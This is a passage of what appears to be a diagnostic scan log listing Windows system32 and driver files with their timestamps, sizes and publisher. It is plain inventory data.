2017-03-18 22:57 - 2017-03-18 22:57 - 00064928 _____ (Microsoft Corporation) C:\windows\system32\gacinstall.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00064680 _____ (Microsoft Corporation) C:\windows\system32\appidapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\MTFSpellcheckDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\certenc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\basesrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\fdProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00063656 _____ (Microsoft Corporation) C:\windows\system32\CompPkgSup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\wsnmp32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\webauthn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00063081 _____ C:\windows\system32\certlm.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00063070 _____ C:\windows\system32\certmgr.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00062976 _____ (Microsoft Corporation) C:\windows\system32\stclient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00062976 _____ (Microsoft Corporation) C:\windows\system32\pautoenr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00062976 _____ (Microsoft Corporation) C:\windows\system32\netprovfw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00062976 _____ (Microsoft Corporation) C:\windows\system32\msobjs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00062976 _____ (Microsoft Corporation) C:\windows\system32\edptask.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00062464 _____ (Microsoft Corporation) C:\windows\system32\xwizard.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00062464 _____ (Microsoft Corporation) C:\windows\system32\xolehlp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00062464 _____ (Microsoft Corporation) C:\windows\system32\l2nacp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\takeown.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\capiprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00061672 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WdfLdr.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00061576 _____ (Microsoft Corporation) C:\windows\system32\RpcRtRemote.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\CertPKICmdlet.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00061336 _____ (Microsoft Corporation) C:\windows\system32\ploptin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00060928 _____ (Microsoft Corporation) C:\windows\system32\tzsync.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00060928 _____ (Microsoft Corporation) C:\windows\system32\rasmbmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00060416 _____ (Microsoft Corporation) C:\windows\system32\mskeyprotect.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00060416 _____ (Microsoft Corporation) C:\windows\system32\AxInstUI.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00059904 _____ (Microsoft Corporation) C:\windows\system32\win32appinventorycsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059904 _____ (Microsoft Corporation) C:\windows\system32\wclEtw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059800 _____ (Microsoft Corporation) C:\windows\system32\hvhostsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\WindowsActionDialog.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\TaskSchdPS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\provlaunch.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\fhtask.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\fdPnp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059296 _____ (Microsoft Corporation) C:\windows\system32\luainstall.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00059296 _____ (Microsoft Corporation) C:\windows\system32\fmifs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\hmkd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\energytask.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00058488 _____ (Microsoft Corporation) C:\windows\system32\lsass.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\dot3dlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\cmutil.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\adprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057987 _____ C:\windows\system32\srms.dat
2017-03-18 22:57 - 2017-03-18 22:57 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\tzutil.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\dot3gpclnt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\DmApiSetExtImplDesktop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\csrsrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057760 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netbios.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00057440 _____ (Microsoft Corporation) C:\windows\system32\deviceassociation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\ucmhc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\TransliterationRanker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\PNPXAssocPrx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Profile.SystemId.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\vdsvd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\pdhui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\net.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\HelpPaneProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\CleanPCCSP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\PnPUnattend.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\mf3216.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\hhsetup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\dpapiprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\dmintf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00056224 _____ (Microsoft Corporation) C:\windows\system32\Drivers\condrv.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00055808 _____ (Microsoft Corporation) C:\windows\system32\Drivers\watchdog.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\umpowmi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\setx.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\ftp.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\Drivers\winhvr.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\acppage.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00054784 _____ (Microsoft Corporation) C:\windows\system32\WudfSMCClassExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00054272 _____ (Microsoft Corporation) C:\windows\system32\fhcleanup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00054272 _____ (Microsoft Corporation) C:\windows\system32\bitsigd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\networkitemfactory.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\MultiDigiMon.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\jpninputrouter.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\iyuv_32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\EmojiDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\DAConn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\AtBroker.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00053248 _____ (Microsoft Corporation) C:\windows\system32\signdrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00052640 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pcw.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\sdiagschd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\pnppolicy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\MessagingService.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\joinproviderol.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tcpipreg.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\dmocx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\cmdl32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00051200 _____ (Microsoft Corporation) C:\windows\system32\spopk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051200 _____ (Microsoft Corporation) C:\windows\system32\SortWindows61.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051200 _____ (Microsoft Corporation) C:\windows\system32\MbaeXmlParser.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00051200 _____ (Microsoft Corporation) C:\windows\system32\cscapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\Wwanpref.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\virtdisk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\NfcRadioMedia.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\NAPCRYPT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ndiscap.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mmcss.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00050112 _____ C:\windows\system32\normnfc.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00049712 _____ (Microsoft Corporation) C:\windows\system32\tbs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00049664 _____ (Microsoft Corporation) C:\windows\system32\pcacli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00049664 _____ (Microsoft Corporation) C:\windows\system32\Drivers\videoprt.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00049664 _____ (Microsoft Corporation) C:\windows\system32\Drivers\qwavedrv.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00049568 _____ (Microsoft Corporation) C:\windows\system32\Drivers\iorate.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\SCardBi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\PSModuleDiscoveryProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\forfiles.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\dmloader.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00048640 _____ (Microsoft Corporation) C:\windows\system32\winrs.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00048640 _____ (Microsoft Corporation) C:\windows\system32\sfc_os.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00048640 _____ (Microsoft Corporation) C:\windows\system32\pcaui.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00048640 _____ (Microsoft Corporation) C:\windows\system32\mcicda.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00048128 _____ (Microsoft Corporation) C:\windows\system32\WUDFCoinstaller.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00048128 _____ (Microsoft Corporation) C:\windows\system32\kmddsp.tsp
2017-03-18 22:57 - 2017-03-18 22:57 - 00048128 _____ (Microsoft Corporation) C:\windows\system32\fhuxcommon.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00048128 _____ (Microsoft Corporation) C:\windows\system32\amsi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00047682 _____ C:\windows\system32\diskmgmt.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\xcopy.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\lltdapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\iaspolcy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\conhost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00047104 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAlacDecoder.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\RoamingSecurity.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\odbcbcp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00046908 _____ C:\windows\system32\OutdoorAudioEnvironment.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\SortServer2003Compat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\cipher.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00046488 _____ (Microsoft Corporation) C:\windows\system32\Drivers\werkernel.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\NetEvtFwdr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\dimsroam.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00045984 _____ (Microsoft Corporation) C:\windows\system32\kdusb.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\vbisurf.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\rdrleakdiag.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\pcadm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\nci.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\SyncHost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\sxshared.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\pid.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\cmlua.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfh263enc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00044544 _____ (Microsoft Corporation) C:\windows\system32\DeviceDriverRetrievalClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00044544 _____ (Microsoft Corporation) C:\windows\system32\compact.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00044440 _____ (Microsoft Corporation) C:\windows\system32\kd_02_15b3.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00044032 _____ (Microsoft Corporation) C:\windows\system32\wincredprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00044032 _____ (Microsoft Corporation) C:\windows\system32\tpmcompc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00044032 _____ (Microsoft Corporation) C:\windows\system32\CredentialMigrationHandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043566 _____ C:\windows\system32\normnfd.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\VoiceActivationManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\uicom.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\TpmTasks.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\ndfetw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\Drivers\scfilter.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00043131 _____ C:\windows\mib.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\browcli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\UI0Detect.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\nshhttp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\MsiCofire.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\mciqtz32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00043008 _____ (Microsoft Corporation) C:\windows\system32\dimsjob.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00042904 _____ (Microsoft Corporation) C:\windows\system32\kd_02_1969.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\Drivers\modem.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00042488 _____ (Microsoft Corporation) C:\windows\system32\msgsm32.acm
2017-03-18 22:57 - 2017-03-18 22:57 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\traffic.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\eventcreate.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\Drivers\nsiproxy.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00041984 _____ (Microsoft Corporation) C:\windows\system32\cmmon32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00041587 _____ C:\windows\system32\azman.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00041472 _____ (Microsoft Corporation) C:\windows\system32\sfc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00041376 _____ (Microsoft Corporation) C:\windows\system32\wininitext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00041376 _____ (Microsoft Corporation) C:\windows\system32\SysResetErr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\WordBreakers.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\where.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\bthudtask.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00040352 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tdi.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\whealogr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\ACCTRES.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00039840 _____ (Microsoft Corporation) C:\windows\system32\kd_0C_8086.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00039840 _____ (Microsoft Corporation) C:\windows\system32\Drivers\cnghwassist.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00039840 _____ (Microsoft Corporation) C:\windows\system32\cfmifs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\waitfor.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\pnpui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\npmproxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\cnvfat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00038912 _____ (Microsoft Corporation) C:\windows\system32\werdiagcontroller.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00038912 _____ (Microsoft Corporation) C:\windows\system32\NETSTAT.EXE
2017-03-18 22:57 - 2017-03-18 22:57 - 00038912 _____ (Microsoft Corporation) C:\windows\system32\msvidc32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00038912 _____ (Microsoft Corporation) C:\windows\system32\dsauth.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00038400 _____ (Microsoft Corporation) C:\windows\system32\ksetup.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00038344 _____ (Microsoft Corporation) C:\windows\system32\NtlmShared.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\WwaExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\dxpps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\dtsh.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBCAMD2.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\ddodiag.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\credwiz.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00037888 _____ (Microsoft Corporation) C:\windows\system32\cmcfg32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037376 _____ C:\windows\system32\SpectrumSyncClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\SyncInfrastructureps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\PackagedCWALauncher.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00037376 _____ (Microsoft Corporation) C:\windows\system32\cliconfg.rll
2017-03-18 22:57 - 2017-03-18 22:57 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\SetNetworkLocationFlyout.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\klist.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\esevss.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00036864 _____ (Microsoft Corporation) C:\windows\system32\Drivers\filetrace.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00036352 _____ (Microsoft Corporation) C:\windows\system32\sxstrace.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00036352 _____ (Microsoft Corporation) C:\windows\system32\sdhcinst.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00036352 _____ (Microsoft Corporation) C:\windows\system32\iscsium.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\witnesswmiv2provider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\UpgradeResultsUI.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\TimeBrokerClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\mfcsubs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\hid.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\Apphlpdm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035760 _____ (Microsoft Corporation) C:\windows\system32\imaadp32.acm
2017-03-18 22:57 - 2017-03-18 22:57 - 00035744 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wimmount.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00035744 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Dumpata.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\w32topl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\tvratings.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\SetProxyCredential.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\pots.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\altspace.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035208 _____ (Microsoft Corporation) C:\windows\system32\msdmo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00035208 _____ (Microsoft Corporation) C:\windows\system32\msadp32.acm
2017-03-18 22:57 - 2017-03-18 22:57 - 00034816 _____ (Microsoft Corporation) C:\windows\system32\ReAgentc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034816 _____ (Microsoft Corporation) C:\windows\system32\PlayToStatusProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00034816 _____ (Microsoft Corporation) C:\windows\system32\FDResPub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00034816 _____ (Microsoft Corporation) C:\windows\system32\Drivers\RNDISMP.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\rasphone.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\RacEngn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\pwlauncher.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\proquota.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\ipconfig.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\hidserv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\findstr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\FdDevQuery.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\extrac32.exe
